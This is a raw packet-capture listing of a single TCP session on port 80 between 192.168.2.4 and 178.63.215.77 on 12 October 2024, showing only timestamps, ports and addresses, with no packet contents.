Oct 12, 2024 14:17:09.458139896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458139896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458164930 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458189011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458195925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458214998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458230972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458241940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458264112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458288908 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458297014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458309889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458326101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458349943 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458358049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458369017 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458391905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458416939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458424091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458437920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458456993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458477974 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458488941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458502054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458523989 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458532095 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458555937 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458585978 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458594084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458607912 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458625078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458647966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458657026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458667994 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458688974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458713055 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458723068 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458734035 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458813906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.502418995 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.507594109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695075989 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695142031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695175886 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695213079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695230007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695246935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695267916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695283890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695300102 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695316076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695341110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695355892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695425034 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695435047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.695435047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.695457935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695475101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695492029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695513964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695529938 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695547104 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695561886 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695578098 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695620060 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695667028 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695683002 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695698977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695714951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695736885 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695754051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695770979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695786953 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695804119 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695806980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.695806980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.695832014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695848942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695882082 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695930958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695935011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.695935011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.695935011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.695935011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.695983887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.695988894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696031094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696033955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696068048 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696078062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696099043 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696111917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696131945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696135998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696178913 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696183920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696228027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696233988 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696276903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696285963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696310043 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696326017 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696341038 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696367025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696374893 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696405888 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696433067 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696436882 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696463108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696468115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696482897 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696517944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696518898 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696573019 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696578026 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696604967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696630001 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696636915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696661949 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696669102 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696691990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696717978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696723938 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696752071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696768999 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696854115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696866989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696887016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696912050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696918964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696932077 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696952105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696978092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.696984053 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.696996927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697016001 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697041988 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697047949 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697071075 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697081089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697093010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697113991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697124958 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697165012 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697168112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697197914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697237968 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697249889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697257996 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697282076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697304010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697319031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697329044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697351933 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697365999 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697384119 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697415113 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697423935 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697423935 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697447062 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697458029 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697478056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697489023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697510958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697525024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697541952 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697550058 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697573900 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697582960 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697604895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697628021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697637081 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697650909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697668076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697680950 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697700977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697712898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697734118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697761059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697766066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697777987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697798014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697812080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697829962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697844982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697860956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697881937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697892904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697906017 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697925091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697942019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697957993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.697987080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.697989941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698004007 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698024035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698033094 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698055983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698076963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698086977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698100090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698118925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698133945 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698154926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698168039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698184967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698199987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698216915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698230982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698250055 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698272943 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698282957 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698293924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698313951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698338985 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698347092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698358059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698378086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698400021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698410034 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698440075 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698441029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698460102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698472977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698484898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698504925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698529005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698537111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698564053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698569059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698582888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698601007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698613882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698632002 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698647976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698667049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.698695898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.698714972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.783734083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.783802032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.783842087 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.783868074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.783868074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.783895016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.783930063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.783945084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.783945084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.783962965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.783998013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784002066 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784024000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784027100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784060955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784066916 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784086943 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784116030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784116983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784167051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784169912 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784200907 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784225941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784252882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784255028 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784306049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784307003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784337997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784367085 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784387112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784394979 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784420967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784447908 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784473896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784486055 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784507036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784532070 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784554958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784564972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784586906 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784614086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784636974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784643888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784686089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784696102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784722090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784746885 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784770966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784773111 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784802914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784827948 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784831047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784842014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784863949 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784878016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784914017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784923077 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784945965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784969091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.784980059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.784996033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785012007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785023928 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785044909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785056114 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785095930 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785106897 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785129070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785151958 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785161972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785192013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785197973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785219908 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785227060 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785234928 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785259962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785286903 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785291910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785305977 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785341024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785350084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785373926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785394907 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785422087 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785425901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785454988 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785482883 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785504103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785516024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785536051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785550117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785567999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785581112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785599947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785610914 CEST	49730	80	192.168.2.4	178.63.215.77
